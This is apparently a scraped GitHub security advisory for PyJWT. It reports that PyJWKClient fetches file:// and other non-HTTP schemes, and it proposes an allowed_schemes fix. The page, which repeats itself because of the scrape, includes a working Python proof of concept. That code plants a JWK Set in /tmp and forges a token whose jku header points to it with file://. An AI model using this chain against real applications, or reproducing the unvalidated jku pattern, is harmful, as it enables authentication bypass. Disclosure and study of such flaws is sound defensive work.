You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.
Summary
PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.
If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:
Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.
Affected versions
Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.
importjwtaspyjwtfromjwtimportPyJWKClientfromcryptography.hazmat.primitives.asymmetricimportrsafromcryptography.hazmat.primitivesimportserializationimportjson, base64, time# Attacker generates keypair (no relation to real IdP)key=rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n=key.public_key().public_numbers().ndefb64u(n):
bl= (n.bit_length() +7) //8returnbase64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()
# Attacker writes JWK Set containing their public key to /tmpjwks= {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
"n":b64u(pub_n),"e":"AQAB"}]}
withopen("/tmp/attacker.json","w") asf:
json.dump(jwks, f)
# Attacker mints token signed with their private key, jku=file://priv_pem=key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now=int(time.time())
token=pyjwt.encode(
{"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
priv_pem, algorithm="RS256",
headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})
# Vulnerable application pattern: caller derives jku from token header# and passes to PyJWKClient without scheme validationheader=pyjwt.get_unverified_header(token)
client=PyJWKClient(header["jku"]) # <-- accepts file:// silentlykey_obj=client.get_signing_key_from_jwt(token)
decoded=pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
Cross-library evidence — PyJWT is the outlier
The same composition pattern is structurally safe in 4 other mainstream JWT libraries:
Library
Behavior on jku=file://...
Mechanism
PyJWT 2.12.1 (Python)
Reads file from disk, parses, uses for signature verification
urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js)
Refuses pre-fetch
WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go)
Refuses pre-fetch
http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET)
Refuses pre-fetch
HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java)
Refuses pre-fetch
URI parser delegation refuses non-http(s) at request build
PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.
Recommended fix
Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.
Diff sketch against jwt/jwks_client.py
def__init__(
self, uri: str,
cache_keys: bool=False, max_cached_keys: int=16,
cache_jwk_set: bool=True, lifespan: float=300,
headers: dict[str, Any] |None=None, timeout: float=30,
ssl_context: SSLContext|None=None,
allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW
):
"""... :param allowed_schemes: URL schemes the JWKS endpoint is permitted to use. Default ``("https", "http")``. Pass ``("https",)`` for HTTPS-only operation. URLs with disallowed schemes raise ``PyJWKClientError`` before any fetch is attempted. """# ... existing init code ...self.allowed_schemes=allowed_schemesself._validate_uri_scheme()
def_validate_uri_scheme(self) ->None:
"""Reject the configured URI early if its scheme isn't allowed."""fromurllib.parseimporturlparseparsed=urlparse(self.uri)
scheme=parsed.scheme.lower()
ifnotscheme:
raisePyJWKClientError(
f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "f"{self.allowed_schemes!r}")
ifschemenotinself.allowed_schemes:
raisePyJWKClientError(
f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "f"{self.allowed_schemes!r}; refusing to fetch from this URL")
Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).
Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
Learn more on MITRE.
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
Learn more on MITRE.
Note
The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.
Summary
PyJWKClient passes its
uriargument directly tourllib.request.urlopen()which uses Python stdlib's defaultOpenerDirectorregisteringHTTPHandler,HTTPSHandler,FTPHandler,FileHandler, andDataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.If an application's
jkuURL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:file://(SSRF on local filesystem) — the file's contents are passed tojson.load.jwt.decode()accepts.Affected versions
Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.
Reproducer (full attack chain — verified empirically)
Cross-library evidence — PyJWT is the outlier
The same composition pattern is structurally safe in 4 other mainstream JWT libraries:
jku=file://...fetch()rejects non-http(s) at fetch-spec layerhttp.DefaultTransportonly registers http/httpsHttpDocumentRetrieverdefaultsRequireHttps=truePyJWT is the only library of these 5 where the default behavior allows
file://to reach the fetch layer.Recommended fix
Add
allowed_schemes: tuple[str, ...] = ("https", "http")kwarg toPyJWKClient.__init__. Pre-validate URL scheme before invokingurllib.request.urlopen. URLs with disallowed schemes raisePyJWKClientErrorbefore any fetch is attempted.Diff sketch against
jwt/jwks_client.pyTests to add
Compatibility
allowed_schemes=("https", "http")preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpointsClass precedent
This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.
Prior art (verified 2026-05-06)
Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):
Credit
Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).
Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.
References